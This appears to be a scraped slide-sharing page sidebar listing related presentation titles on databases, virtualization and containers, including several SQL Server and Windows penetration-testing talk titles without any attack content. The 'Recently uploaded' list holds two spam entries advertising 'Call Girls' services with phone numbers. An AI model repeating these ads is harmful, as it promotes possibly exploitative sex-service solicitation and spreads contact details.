War of the Indices- SQL vs. Oracle
 
Introducing Node.js in an Oracle technology environment (including hands-on)
Introducing Node.js in an Oracle technology environment (including hands-on)Introducing Node.js in an Oracle technology environment (including hands-on)
Introducing Node.js in an Oracle technology environment (including hands-on)
 
OUG Ireland Meet-up - Updates from Oracle Open World 2016
OUG Ireland Meet-up - Updates from Oracle Open World 2016OUG Ireland Meet-up - Updates from Oracle Open World 2016
OUG Ireland Meet-up - Updates from Oracle Open World 2016
 
Christo kutrovsky oracle rac solving common scalability problems
Christo kutrovsky   oracle rac solving common scalability problemsChristo kutrovsky   oracle rac solving common scalability problems
Christo kutrovsky oracle rac solving common scalability problems
 
Avoid boring work_v2
Avoid boring work_v2Avoid boring work_v2
Avoid boring work_v2
 
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...
AUDWC 2016 - Using SQL Server 20146 AlwaysOn Availability Groups for SharePoi...
 
Pass Summit Linux Scripting for the Microsoft Professional
Pass Summit Linux Scripting for the Microsoft ProfessionalPass Summit Linux Scripting for the Microsoft Professional
Pass Summit Linux Scripting for the Microsoft Professional
 
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison
Galera Cluster for MySQL vs MySQL (NDB) Cluster: A High Level Comparison
 
OUG Ireland Meet-up 12th January
OUG Ireland Meet-up 12th JanuaryOUG Ireland Meet-up 12th January
OUG Ireland Meet-up 12th January
 
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...
Trivadis TechEvent 2016 Apache Kafka - Scalable Massage Processing and more! ...
 
Oracle Database on Docker - Best Practices
Oracle Database on Docker - Best PracticesOracle Database on Docker - Best Practices
Oracle Database on Docker - Best Practices
 
SQL Monitoring in Oracle Database 12c
SQL Monitoring in Oracle Database 12cSQL Monitoring in Oracle Database 12c
SQL Monitoring in Oracle Database 12c
 
High density deployments using weblogic multitenancy
High density deployments using weblogic multitenancyHigh density deployments using weblogic multitenancy
High density deployments using weblogic multitenancy
 

Viewers also liked

Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...
Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...
Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...Rui Quintino
 
SQL Server on Linux - march 2017
SQL Server on Linux - march 2017SQL Server on Linux - march 2017
SQL Server on Linux - march 2017Sorin Peste
 
Keep your environment always on with sql server 2016 sql bits 2017
Keep your environment always on with sql server 2016 sql bits 2017Keep your environment always on with sql server 2016 sql bits 2017
Keep your environment always on with sql server 2016 sql bits 2017Bob Ward
 
Nordic infrastructure Conference 2017 - SQL Server on Linux Overview
Nordic infrastructure Conference 2017 - SQL Server on Linux OverviewNordic infrastructure Conference 2017 - SQL Server on Linux Overview
Nordic infrastructure Conference 2017 - SQL Server on Linux OverviewTravis Wright
 
Containers Anywhere with OpenShift by Red Hat
Containers Anywhere with OpenShift by Red HatContainers Anywhere with OpenShift by Red Hat
Containers Anywhere with OpenShift by Red HatAmazon Web Services
 
Red Hat OpenShift Container Platform Overview
Red Hat OpenShift Container Platform OverviewRed Hat OpenShift Container Platform Overview
Red Hat OpenShift Container Platform OverviewJames Falkner
 
DevNexus 2015: Kubernetes & Container Engine
DevNexus 2015: Kubernetes & Container EngineDevNexus 2015: Kubernetes & Container Engine
DevNexus 2015: Kubernetes & Container EngineKit Merker
 
Red Hat Container Strategy
Red Hat Container StrategyRed Hat Container Strategy
Red Hat Container StrategyRed Hat Events
 
Microservices with Docker, Kubernetes, and Jenkins
Microservices with Docker, Kubernetes, and JenkinsMicroservices with Docker, Kubernetes, and Jenkins
Microservices with Docker, Kubernetes, and JenkinsRed Hat Developers
 
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...The Linux Foundation
 
OSCON16: Analysis of the Xen code review process: An example of software deve...
OSCON16: Analysis of the Xen code review process: An example of software deve...OSCON16: Analysis of the Xen code review process: An example of software deve...
OSCON16: Analysis of the Xen code review process: An example of software deve...The Linux Foundation
 
Xen Project Release and Roadmap Process (4.7+)
Xen Project Release and Roadmap Process (4.7+)Xen Project Release and Roadmap Process (4.7+)
Xen Project Release and Roadmap Process (4.7+)The Linux Foundation
 
Xen and the art of embedded virtualization (ELC 2017)
Xen and the art of embedded virtualization (ELC 2017)Xen and the art of embedded virtualization (ELC 2017)
Xen and the art of embedded virtualization (ELC 2017)Stefano Stabellini
 
OpenShift Enterprise 3.1 vs kubernetes
OpenShift Enterprise 3.1 vs kubernetesOpenShift Enterprise 3.1 vs kubernetes
OpenShift Enterprise 3.1 vs kubernetesSamuel Terburg
 
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1Etsuji Nakai
 
Bootcamp 2017 - SQL Server on Linux
Bootcamp 2017 - SQL Server on LinuxBootcamp 2017 - SQL Server on Linux
Bootcamp 2017 - SQL Server on LinuxMaximiliano Accotto
 
Virtualization Architecture & KVM
Virtualization Architecture & KVMVirtualization Architecture & KVM
Virtualization Architecture & KVMPradeep Kumar
 
virtualization and hypervisors
virtualization and hypervisorsvirtualization and hypervisors
virtualization and hypervisorsGaurav Suri
 
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVM
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVMHypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVM
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVMvwchu
 

Viewers also liked (20)

Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...
Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...
Microsoft Data Platform Airlift 2017 Rui Quintino Machine Learning with SQL S...
 
FLISOL 2017 - SQL Server no Linux
FLISOL 2017 - SQL Server no LinuxFLISOL 2017 - SQL Server no Linux
FLISOL 2017 - SQL Server no Linux
 
SQL Server on Linux - march 2017
SQL Server on Linux - march 2017SQL Server on Linux - march 2017
SQL Server on Linux - march 2017
 
Keep your environment always on with sql server 2016 sql bits 2017
Keep your environment always on with sql server 2016 sql bits 2017Keep your environment always on with sql server 2016 sql bits 2017
Keep your environment always on with sql server 2016 sql bits 2017
 
Nordic infrastructure Conference 2017 - SQL Server on Linux Overview
Nordic infrastructure Conference 2017 - SQL Server on Linux OverviewNordic infrastructure Conference 2017 - SQL Server on Linux Overview
Nordic infrastructure Conference 2017 - SQL Server on Linux Overview
 
Containers Anywhere with OpenShift by Red Hat
Containers Anywhere with OpenShift by Red HatContainers Anywhere with OpenShift by Red Hat
Containers Anywhere with OpenShift by Red Hat
 
Red Hat OpenShift Container Platform Overview
Red Hat OpenShift Container Platform OverviewRed Hat OpenShift Container Platform Overview
Red Hat OpenShift Container Platform Overview
 
DevNexus 2015: Kubernetes & Container Engine
DevNexus 2015: Kubernetes & Container EngineDevNexus 2015: Kubernetes & Container Engine
DevNexus 2015: Kubernetes & Container Engine
 
Red Hat Container Strategy
Red Hat Container StrategyRed Hat Container Strategy
Red Hat Container Strategy
 
Microservices with Docker, Kubernetes, and Jenkins
Microservices with Docker, Kubernetes, and JenkinsMicroservices with Docker, Kubernetes, and Jenkins
Microservices with Docker, Kubernetes, and Jenkins
 
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...
XPDS16: High-Performance Virtualization for HPC Cloud on Xen - Jun Nakajima &...
 
OSCON16: Analysis of the Xen code review process: An example of software deve...
OSCON16: Analysis of the Xen code review process: An example of software deve...OSCON16: Analysis of the Xen code review process: An example of software deve...
OSCON16: Analysis of the Xen code review process: An example of software deve...
 
Xen Project Release and Roadmap Process (4.7+)
Xen Project Release and Roadmap Process (4.7+)Xen Project Release and Roadmap Process (4.7+)
Xen Project Release and Roadmap Process (4.7+)
 
Xen and the art of embedded virtualization (ELC 2017)
Xen and the art of embedded virtualization (ELC 2017)Xen and the art of embedded virtualization (ELC 2017)
Xen and the art of embedded virtualization (ELC 2017)
 
OpenShift Enterprise 3.1 vs kubernetes
OpenShift Enterprise 3.1 vs kubernetesOpenShift Enterprise 3.1 vs kubernetes
OpenShift Enterprise 3.1 vs kubernetes
 
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1
Architecture Overview: Kubernetes with Red Hat Enterprise Linux 7.1
 
Bootcamp 2017 - SQL Server on Linux
Bootcamp 2017 - SQL Server on LinuxBootcamp 2017 - SQL Server on Linux
Bootcamp 2017 - SQL Server on Linux
 
Virtualization Architecture & KVM
Virtualization Architecture & KVMVirtualization Architecture & KVM
Virtualization Architecture & KVM
 
virtualization and hypervisors
virtualization and hypervisorsvirtualization and hypervisors
virtualization and hypervisors
 
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVM
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVMHypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVM
Hypervisors and Virtualization - VMware, Hyper-V, XenServer, and KVM
 

Similar to 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)Scott Sutherland
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQLScott Sutherland
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellScott Sutherland
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationScott Sutherland
 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShellScott Sutherland
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShellScott Sutherland
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsScott Sutherland
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacksamiable_indian
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETFernando G. Guerrero
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015Scott Sutherland
 
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012Scott Sutherland
 
Demo for Why Use PowerShell
Demo for Why Use PowerShellDemo for Why Use PowerShell
Demo for Why Use PowerShellSirajJamdar
 
SQL Server R Services: What Every SQL Professional Should Know
SQL Server R Services: What Every SQL Professional Should KnowSQL Server R Services: What Every SQL Professional Should Know
SQL Server R Services: What Every SQL Professional Should KnowBob Ward
 
PowerShellForDBDevelopers
PowerShellForDBDevelopersPowerShellForDBDevelopers
PowerShellForDBDevelopersBryan Cafferky
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
MySQL crash course by moshe kaplan
MySQL crash course by moshe kaplanMySQL crash course by moshe kaplan
MySQL crash course by moshe kaplanMoshe Kaplan
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Netwebhostingguy
 
Flash And The City 2010
Flash And The City 2010Flash And The City 2010
Flash And The City 2010Steven Peeters
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETFernando G. Guerrero
 

Similar to 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell (20)

2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL
 
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShellDerbyCon2016 - Hacking SQL Server on Scale with PowerShell
DerbyCon2016 - Hacking SQL Server on Scale with PowerShell
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
 
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
2017 Thotcon - Hacking SQL Servers on Scale with PowerShell
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
 
Hackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection AttacksHackers Paradise SQL Injection Attacks
Hackers Paradise SQL Injection Attacks
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NET
 
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 201510 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
10 Deadly Sins of SQL Server Configuration - APPSEC CALIFORNIA 2015
 
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Demo for Why Use PowerShell
Demo for Why Use PowerShellDemo for Why Use PowerShell
Demo for Why Use PowerShell
 
SQL Server R Services: What Every SQL Professional Should Know
SQL Server R Services: What Every SQL Professional Should KnowSQL Server R Services: What Every SQL Professional Should Know
SQL Server R Services: What Every SQL Professional Should Know
 
PowerShellForDBDevelopers
PowerShellForDBDevelopersPowerShellForDBDevelopers
PowerShellForDBDevelopers
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
MySQL crash course by moshe kaplan
MySQL crash course by moshe kaplanMySQL crash course by moshe kaplan
MySQL crash course by moshe kaplan
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Net
 
Flash And The City 2010
Flash And The City 2010Flash And The City 2010
Flash And The City 2010
 
Dealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NETDealing with SQL Security from ADO.NET
Dealing with SQL Security from ADO.NET
 

More from Scott Sutherland

Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Scott Sutherland
 
How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)Scott Sutherland
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerScott Sutherland
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL ServerScott Sutherland
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerScott Sutherland
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial EmulationScott Sutherland
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Scott Sutherland
 
Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Scott Sutherland
 
Secure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsSecure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsScott Sutherland
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2Scott Sutherland
 
Attack all the layers secure 360
Attack all the layers secure 360Attack all the layers secure 360
Attack all the layers secure 360Scott Sutherland
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseScott Sutherland
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksScott Sutherland
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration TestingScott Sutherland
 

More from Scott Sutherland (15)

Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
Into the Abyss: Evaluating Active Directory SMB Shares on Scale (Secure360)
 
How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)How to Build and Validate Ransomware Attack Detections (Secure360)
How to Build and Validate Ransomware Attack Detections (Secure360)
 
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL ServerSecure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
Secure360 - Beyond xp cmdshell - Owning the Empire through SQL Server
 
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
2018 Student360 - Beyond xp_cmdshell - Owning the Empire Through SQL Server
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL Server
 
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
2017 Q1 Arcticcon - Meet Up - Adventures in Adversarial Emulation
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All the Layers: What's Working during Pentests (OWASP NYC)
 
Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!Secure360 - Attack All the Layers! Again!
Secure360 - Attack All the Layers! Again!
 
Secure360 - Extracting Password from Windows
Secure360 - Extracting Password from WindowsSecure360 - Extracting Password from Windows
Secure360 - Extracting Password from Windows
 
WTF is Penetration Testing v.2
WTF is Penetration Testing v.2WTF is Penetration Testing v.2
WTF is Penetration Testing v.2
 
Attack all the layers secure 360
Attack all the layers secure 360Attack all the layers secure 360
Attack all the layers secure 360
 
Declaration of malWARe
Declaration of malWAReDeclaration of malWARe
Declaration of malWARe
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary Attacks
 
WTF is Penetration Testing
WTF is Penetration TestingWTF is Penetration Testing
WTF is Penetration Testing
 

Recently uploaded

Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGSujit Pal
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 

Recently uploaded (20)

Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAG
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
